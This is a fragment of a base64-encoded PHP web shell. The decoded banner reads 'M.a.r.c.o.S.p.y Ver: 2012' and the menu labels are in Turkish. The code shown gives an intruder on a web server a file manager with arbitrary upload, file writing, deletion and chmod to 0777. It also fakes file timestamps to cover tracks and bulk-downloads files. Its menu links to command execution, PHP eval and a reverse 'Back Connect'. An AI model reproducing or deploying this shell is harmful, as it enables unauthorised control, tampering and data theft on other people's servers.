pZ2h0OjI0cHg7fQ0KdXt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6Izc3NztmbG9hdDpsZWZ0O2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTUwcHg7bWFyZ2luLXJpZ2h0OjEwcHg7fQ0KPC9zdHlsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pIHsNCglmb3IodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgew0KCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07DQoJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpDQoJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7DQogICAgfQ0KfQ0KZnVuY3Rpb24gJChpZCkgew0KCXJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7DQp9DQpmdW5jdGlvbiBnb2FjdGlvbihhY3Qpew0KCSQoJ2dvYWN0aW9uJykuYWN0aW9uLnZhbHVlPWFjdDsNCgkkKCdnb2FjdGlvbicpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCI+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCgk8dHIgY2xhc3M9ImhlYWQiPg0KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGEgaHJlZj0ibTRyYzAtc2VjdXJpdHkuYmxvZ3Nwb3QuY29tIiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ00uYS5yLmMuby5TLnAueScpOz8+IFZlcjogMjAxMiA8L2E+PC9zcGFuPjw/cGhwIGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOz8+ICg8P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOz8+KTwvdGQ+DQoJPC90cj4NCgk8dHIgY2xhc3M9ImFsdDEiPg0KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+U2FmZSBNb2RlOjw/cGhwIGVjaG8gZ2V0Y2ZnKCdzYWZlX21vZGUnKTs/Pjwvc3Bhbj4NCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2xvZ291dCcpOyI+PEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+ICAgIDxsZWZ0PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6cmVkIDBweCAwcHggOHB4OyBjb2xvcjpyZWQiPkNJS0lTPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gICAgPHJpZ2h0PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6cmVkIDBweCAwcHggOHB4OyBjb2xvcjpyZWQiPkZpbGUgTWFuYWdlcjwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdDxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OnJlZCAwcHggMHB4IDhweDsgY29sb3I6cmVkIj5NeVNRTCBNYW5hZ2VyPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzcWxmaWxlJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gICAgPGxlZnQ8YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpyZWQgMHB4IDBweCA4cHg7IGNvbG9yOnJlZCI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzaGVsbCcpOyI+PEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+ICAgIDxsZWZ0PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6cmVkIDBweCAwcHggOHB4OyBjb2xvcjpyZWQiPktvbXV0IENBTElTVElSPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdwaHBlbnYnKTsiPjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdDxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OnJlZCAwcHggMHB4IDhweDsgY29sb3I6cmVkIj5QSFAgVmFyaWFibGU8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdDxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OnJlZCAwcHggMHB4IDhweDsgY29sb3I6cmVkIj5FdmFsIFBIUCBDb2RlPC9hPg0KCQkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdiYWNrY29ubmVjdCcpOyI+PEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+ICAgIDxsZWZ0PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6cmVkIDBweCAwcHggOHB4OyBjb2xvcjpyZWQiPkJhY2sgQ29ubmVjdDwvYT48P3BocCB9Pz4NCgkJPC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPg0KPD9waHANCg0KZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7DQptYWtlaGlkZSgnYWN0aW9uJyk7DQpmb3JtZm9vdCgpOw0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7DQoNCi8vICsmIzExMDU7KyYjMTA3Mzt8I3wjLSsrfA0KISRkaXIgJiYgJGRpciA9ICcuJzsNCiRub3dwYXRoID0gZ2V0UGF0aChTQV9ST09ULCAkZGlyKTsNCmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgew0KCSRkaXIgPSAkZGlyLicvJzsNCn0NCiR1ZWRpciA9IHVlKCRkaXIpOw0KDQppZiAoISRhY3Rpb24gfHwgJGFjdGlvbiA9PSAnZmlsZScpIHsNCg0KCS8vICstfC18LS18fCYjMTA5NzsrJiMxMDM4Ow0KCSRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdXcml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzsNCg0KCS8vICsrfCAtKy0rDQoJaWYgKCRkb2luZyA9PSAnZGVsZGlyJyAmJiAkdGhlZmlsZSkgew0KCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KCQkJbSgkdGhlZmlsZS4nIGRpcmVjdG9yeSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIHx8KyYjMTA4MDstKy0rDQoJZWxzZWlmICgkbmV3ZGlybmFtZSkgew0KCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rpcm5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbWtkaXJzKSkgew0KCQkJbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ0RpcmVjdG9yeSBjcmVhdGVkICcuKEBta2RpcigkbWtkaXJzLDA3NzcpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOw0KCQl9DQoJfQ0KDQoJLy8gKy18JiMxMDgzOystKyANCgllbHNlaWYgKCRkb3VwZmlsZSkgew0KCQltKCdGaWxlIHVwbG9hZCAnLihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sJHVwbG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgl9DQoNCgkvLyAjJiMxMDg4OysmIzEwODU7Ky0rIA0KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsNCgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsNCgkJbSgnU2F2ZSBmaWxlICcuKEBmd3JpdGUoJGZwLCRmaWxlY29udGVudCkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KDQoJLy8gIyYjMTA4ODsrJiMxMDg1OystKyAtJiMxMDMxOy0rDQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsNCgkJaWYgKCFmaWxlX2V4aXN0cygkcGZpbGUpKSB7DQoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJG5ld3Blcm0gPSBiYXNlX2NvbnZlcnQoJG5ld3Blcm0sOCwxMCk7DQoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vICstfCANCgllbHNlaWYgKCRvbGRuYW1lICYmICRuZXdmaWxlbmFtZSkgew0KCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsNCgkJCW0oJG5uYW1lLicgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vICt8K3wrLSsgDQoJZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgew0KCQlpZiAoZmlsZV9leGlzdHMoJHRvZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRzbmFtZSkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCR0b2ZpbGUpLicgY29waWVkICcuKEBjb3B5KCRzbmFtZSwkdG9maWxlKSA/IGJhc2VuYW1lKCR0b2ZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gKy0tJiMxMDczOy0jKyYjMTA5MjsNCgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7DQoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZpbGVfZXhpc3RzKCR0YXJmaWxlKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gQGZpbGVtdGltZSgkdGFyZmlsZSk7DQoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vICsrfCYjMTA4MDstJiMxMDkzOy0jKyYjMTA5MjsNCgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkpIHsNCgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gfCYjMTAyODsjIC0tKysNCgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgew0KCQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOw0KCQkJfQ0KCQkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCgkJCSRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsNCgkJCSR6aXA9bmV3IFBIUFppcCgkZGwpOw0KCQkJJGNvZGU9JHppcC0+b3V0Ow0KCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KCQkJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOw0KCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOw0KCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7DQoJCQllY2hvICRjb2RlOw0KCQkJZXhpdDsNCgkJfSBlbHNlIHsNCgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOw0KCQl9DQoJfQ0KDQoJLy8gKyAtKysrfCArLSsgDQoJZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7DQoJCWlmICgkZGwpIHsNCgkJCSRkZmlsZXM9Jyc7DQoJCQkkc3VjYyA9ICRmYWlsID0gMDsNCgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7DQoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgew0KCQkJCQkkc3VjYysrOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRmYWlsKys7DQoJCQkJfQ0KCQkJfQ0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQmIzEwNzU7JiMxMDg0O2Nob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBmYWlsICcuJGZhaWwpOw0KCQl9IGVsc2Ugew0KCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7DQoJCX0NCgl9DQoNCgkvLyMrKyYjMTExODstJiMxMDk4OyMtDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY3JlYXRlZGlyJykpOw0KCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7DQoJbWFrZWhpZGUoJ25ld3Blcm0nKTsNCgltYWtlaGlkZSgncGZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidjb3B5ZmlsZScpKTsNCgltYWtlaGlkZSgnc25hbWUnKTsNCgltYWtlaGlkZSgndG9maWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVuYW1lJykpOw0KCW1ha2VoaWRlKCdvbGRuYW1lJyk7DQoJbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJyk7DQoJbWFrZWhpZGUoJ29wZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInKTsNCglmb3JtZm9vdCgpOw0KDQoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsNCgkhJGZyZWUgJiYgJGZyZWUgPSAwOw0KCSRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkbm93cGF0aCk7DQoJISRhbGwgJiYgJGFsbCA9IDA7DQoJJHVzZWQgPSAkYWxsLSRmcmVlOw0KCSR1c2VkX3BlcmNlbnQgPSBAcm91bmQoMTAwLygkYWxsLyRmcmVlKSwyKTsNCglwKCc8aDI+RmlsZSBNYW5hZ2VyIC0gQ3VycmVudCBkaXNrIGZyZWUgJy5zaXplY291bnQoJGZyZWUpLicgb2YgJy5zaXplY291bnQoJGFsbCkuJyAoJy4kdXNlZF9wZXJjZW50LiclKTwvaDI+Jyk7DQoNCj8+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsiPg0KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4NCiAgPHRyPg0KICAgIDx0ZCBub3dyYXA+QnVsdW5kdWd1biBEaXppbiAoPD9waHAgZWNobyAkZGlyX3dyaXRlYWJsZTs/PiwgPD9waHAgZWNobyBnZXRDaG1vZCgkbm93cGF0aCk7Pz4pPC90ZD4NCgk8dGQgd2lkdGg9IjEwMCUiPjxpbnB1dCBuYW1lPSJ2aWV3X3dyaXRhYmxlIiB2YWx1ZT0iMCIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhwIGVjaG8gJG5vd3BhdGg7Pz4iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDoxMDAlO21hcmdpbjowIDhweDsiPjwvdGQ+DQogICAgPHRkIG5vd3JhcD48aW5wdXQgY2xhc3M9ImJ0IiB2YWx1ZT0iR08iIHR5cGU9InN1Ym1pdCI+PC90ZD4NCiAgPC90cj4NCiAgPC9mb3JtPg0KPC90YWJsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGNyZWF0ZWRpcigpew0KCXZhciBuZXdkaXJuYW1lOw0KCW5ld2Rpcm5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZGlyZWN0b3J5IG5hbWU6JywgJycpOw0KCWlmICghbmV3ZGlybmFtZSkgcmV0dXJuOw0KCSQoJ2NyZWF0ZWRpcicpLm5ld2Rpcm5hbWUudmFsdWU9bmV3ZGlybmFtZTsNCgkkKCdjcmVhdGVkaXInKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGZpbGVwZXJtKHBmaWxlKXsNCgl2YXIgbmV3cGVybTsNCgluZXdwZXJtID0gcHJvbXB0KCdDdXJyZW50IGZpbGU6JytwZmlsZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGF0dHJpYnV0ZTonLCAnJyk7DQoJaWYgKCFuZXdwZXJtKSByZXR1cm47DQoJJCgnZmlsZXBlcm0nKS5uZXdwZXJtLnZhbHVlPW5ld3Blcm07DQoJJCgnZmlsZXBlcm0nKS5wZmlsZS52YWx1ZT1wZmlsZTsNCgkkKCdmaWxlcGVybScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gY29weWZpbGUoc25hbWUpew0KCXZhciB0b2ZpbGU7DQoJdG9maWxlID0gcHJvbXB0KCdPcmlnaW5hbCBmaWxlOicrc25hbWUrJ1xuUGxlYXNlIGlucHV0IG9iamVjdCBmaWxlIChmdWxscGF0aCk6JywgJycpOw0KCWlmICghdG9maWxlKSByZXR1cm47DQoJJCgnY29weWZpbGUnKS50b2ZpbGUudmFsdWU9dG9maWxlOw0KCSQoJ2NvcHlmaWxlJykuc25hbWUudmFsdWU9c25hbWU7DQoJJCgnY29weWZpbGUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHJlbmFtZShvbGRuYW1lKXsNCgl2YXIgbmV3ZmlsZW5hbWU7DQoJbmV3ZmlsZW5hbWUgPSBwcm9tcHQoJ0Zvcm1lciBmaWxlIG5hbWU6JytvbGRuYW1lKydcblBsZWFzZSBpbnB1dCBuZXcgZmlsZW5hbWU6JywgJycpOw0KCWlmICghbmV3ZmlsZW5hbWUpIHJldHVybjsNCgkkKCdyZW5hbWUnKS5uZXdmaWxlbmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsNCgkkKCdyZW5hbWUnKS5vbGRuYW1lLnZhbHVlPW9sZG5hbWU7DQoJJCgncmVuYW1lJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBkb2ZpbGUoZG9pbmcsdGhlZmlsZSxtKXsNCglpZiAobSAmJiAhY29uZmlybShtKSkgew0KCQlyZXR1cm47DQoJfQ0KCSQoJ2ZpbGVsaXN0JykuZG9pbmcudmFsdWU9ZG9pbmc7DQoJaWYgKHRoZWZpbGUpew0KCQkkKCdmaWxlbGlzdCcpLnRoZWZpbGUudmFsdWU9dGhlZmlsZTsNCgl9DQoJJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNyZWF0ZWZpbGUobm93cGF0aCl7DQoJdmFyIGZpbGVuYW1lOw0KCWZpbGVuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGZpbGUgbmFtZTonLCAnJyk7DQoJaWYgKCFmaWxlbmFtZSkgcmV0dXJuOw0KCW9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsNCn0NCmZ1bmN0aW9uIG9wZmlsZShhY3Rpb24sb3BmaWxlLGRpcil7DQoJJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1ZT1hY3Rpb247DQoJJCgnZmlsZW9wZm9ybScpLm9wZmlsZS52YWx1ZT1vcGZpbGU7DQoJJCgnZmlsZW9wZm9ybScpLmRpci52YWx1ZT1kaXI7DQoJJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZ29kaXIoZGlyLHZpZXdfd3JpdGFibGUpew0KCWlmICh2aWV3X3dyaXRhYmxlKSB7DQoJCSQoJ2dvZGlyJykudmlld193cml0YWJsZS52YWx1ZT0xOw0KCX0NCgkkKCdnb2RpcicpLmRpci52YWx1ZT1kaXI7DQoJJCgnZ29kaXInKS5zdWJtaXQoKTsNCn0NCjwvc2NyaXB0Pg0KICA8P3BocA0KCXRiaGVhZCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjx0ciBjbGFzcz0iYWx0MSI+PHRkIGNvbHNwYW49IjciIHN0eWxlPSJwYWRkaW5nOjVweDsiPicpOw0KCXAoJzxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdmFsdWU9IiIgdHlwZT0iZmlsZSIgLz4gPGlucHV0IGNsYXNzPSJidCIgbmFtZT0iZG91cGZpbGUiIHZhbHVlPSJVcGxvYWQiIHR5cGU9InN1Ym1pdCIgLz48aW5wdXQgbmFtZT0idXBsb2FkZGlyIiB2YWx1ZT0iJy4kZGlyLiciIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kZGlyLiciIHR5cGU9ImhpZGRlbiIgLz48L2Rpdj4nKTsNCglwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gPGxlZnQ8YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpyZWQgMHB4IDBweCA4cHg7IGNvbG9yOnJlZCI+V2ViUm9vdDwvYT4nKTsNCglpZiAoJHZpZXdfd3JpdGFibGUpIHsNCgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOw0KCX0gZWxzZSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyxcJzFcJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gPGxlZnQ8YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpyZWQgMHB4IDBweCA4cHg7IGNvbG9yOnJlZCI+VmlldyBXcml0YWJsZTwvYT4nKTsNCgl9DQoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVkaXIoKTsiPjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiA8bGVmdDxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OnJlZCAwcHggMHB4IDhweDsgY29sb3I6cmVkIj5LbGFzb3IgT2x1c3R1cjwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gPGxlZnQ8YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpyZWQgMHB4IDBweCA4cHg7IGNvbG9yOnJlZCI+RG9zeWEgT2x1c3R1cjwvYT4nKTsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsNCgkJaWYgKCRvYmogJiYgaXNfb2JqZWN0KCRvYmopKSB7DQoJCQkkRHJpdmVUeXBlREIgPSBhcnJheSgwID0+ICdVbmtub3cnLDEgPT4gJ1JlbW92YWJsZScsMiA9PiAnRml4ZWQnLDMgPT4gJ05ldHdvcmsnLDQgPT4gJ0NEUm9tJyw1ID0+ICdSQU0gRGlzaycpOw0KCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7DQoJCQkJaWYgKCRkcml2ZS0+RHJpdmVUeXBlID09IDIpIHsNCgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvX